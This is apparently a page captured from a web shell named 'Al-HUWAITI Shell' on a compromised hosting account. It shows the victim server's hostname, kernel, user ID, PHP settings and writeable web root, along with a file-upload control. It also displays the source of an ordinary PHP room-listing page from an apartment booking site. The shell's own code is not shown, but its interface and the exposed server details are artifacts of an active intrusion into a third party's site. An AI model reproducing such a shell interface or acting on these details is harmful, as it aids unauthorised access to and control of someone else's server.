Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/debutlers.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/debutlers.com/public_html/rooms.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Apartments</title>
        <section class="page-header">
            <div class="page-header__bg" style="background-image: url(site_img/general/<?php echo "$gen_img[8]"; ?>);"></div>
            <div class="container">
                <img src="assets/images/shapes/page-header-s-1.png" alt="Room Grid" class="page-header__shape">
                <h2 class="page-header__title">Apartments</h2>
                <ul class="solinom-breadcrumb list-unstyled">
                    <li><a href="index.php">Home</a></li>
                    <li><span>Apartments</span></li>
                </ul>
            </div>
        </section>

        <section class="room-two-page">
            <div class="container">
                <div class="row gutter-y-30">
                <?php
	$stmt1 = $con -> prepare('SELECT id,header,paragraph,price,picture1,picture2,picture3,picture4,discount FROM rooms'); 
	$stmt1 -> execute(); 
	$stmt1 -> store_result(); 
	$stmt1 -> bind_result($r_id_f,$header_f,$paragraph_f,$price_f,$picture1_f,$picture2_f,$picture3_f,$picture4_f,$discount_f); 
	$numrows1 = $stmt1 -> num_rows();
	if($numrows1 > 0){
		while ($stmt1 -> fetch()) { 
            //get 60 characters
            $paragraph_part_f = substr($paragraph_f,0,60);
            ?>
                    <div class="col-md-4 col-sm-6">
                        <div class="room-card wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='000ms'>
                            <div class="room-card__thumb">
                                <img src="rooms/<?php echo $picture1_f ?>" alt="">
                                <?php if($discount_f !== ""){ ?>
                                <p class="room-card__feature"><?php echo "$discount_f% OFF!"; ?></p>
                                <?php } ?>
                                
                            </div>
                            <div class="room-card__top">
                                <div class="room-card__top__inner">
                                    <div class="room-card__top__popup">
                                        
                                       
                                    </div>
                                  
                                </div>
                            </div>
                            <div class="room-card__content">
                                <div class="room-card__content__inner__element"></div>
                                <h4 class="room-card__content__title"><a href="room_details.php?u=<?php echo $r_id_f; ?>"><?php echo $header_f ?></a></h4>
                                <p class="room-card__content__text"><?php echo $paragraph_part_f ?>...</p>
                                <div class="room-card__content__star">
                                    <div class="room-card__content__star__item">
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                        <i class="fas fa-star"></i>
                                    </div>
                                    <a href="room_details.php?u=<?php echo $r_id_f; ?>" class="room-card__content__btn solinom-btn">Book Now</a>
                                </div>
                                <div class="room-card-three__content__number__price">
                                <?php if($discount_f == ""){ 
    echo"<span style='color:white;'>";
    echo $currency;
    echo number_format((float)$price_f, 2, '.', ','); echo"<span>/night</span> ";
    echo"</span>";
}
if($discount_f !== ""){
    $amount_to_remove = calculatePercentageOfNumber($price_f, $discount_f);
    $discounted_price = $price_f - $amount_to_remove;
    echo"<span class='cross'>";
    echo $currency;echo number_format((float)$price_f, 2, '.', ','); 
    echo"</span>&nbsp;";
    echo"<br><b style='color:white;'>";
    echo $currency;echo number_format((float)$discounted_price, 2, '.', ','); 
    echo"/night";
    echo"</b>";
}
?>
</div>
                                <div class="room-card__content__element">
                                    <img src="assets/images/shapes/room-1-1.png" alt>
                                </div>
                            </div>
                        </div>
                    </div>
<?php } } ?>
                    
                </div>
            </div>
        </section>
<?php include("footer.php"); ?>

Al-HUWAITI Shell